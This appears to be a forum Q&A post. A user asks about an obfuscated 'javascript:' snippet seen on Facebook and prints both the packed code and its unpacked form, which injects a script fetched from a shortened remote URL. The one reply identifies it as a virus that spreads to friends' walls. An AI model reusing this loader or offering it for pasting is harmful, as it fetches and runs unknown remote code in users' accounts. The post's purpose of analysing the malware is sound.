Question

I just saw this piece of javascript code at Facebook:

javascript:eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0:(a=(d=1).2("3")).4="5://6.7/8";9(d.b.c(a))',14,14,'javascript|document|createElement|script|src|http|is|gd|aNC9Zd|void||body|appendChild|'.split('|'),0,{}))

So I unpacked it with this tool:
http://www.strictly-software.com/unpacker

The following code showed up:

javascript: (a = (d = document).createElement("script")).src = "http://is.gd/aNC9Zd";
void(d.body.appendChild(a))

I followed the link in the above code to find a very large .js file.
Could someone find out what that code does? I’ve taken necessary precautions – changed password, cleared cache, cookies. It hasn’t done anything as of now, but I think it may be timed to occur after a certain period, etc.

Thanks.

Answer 1

Looks like a facebook virus spreading to friends’ walls. A strange one indeed because it even has comments in it…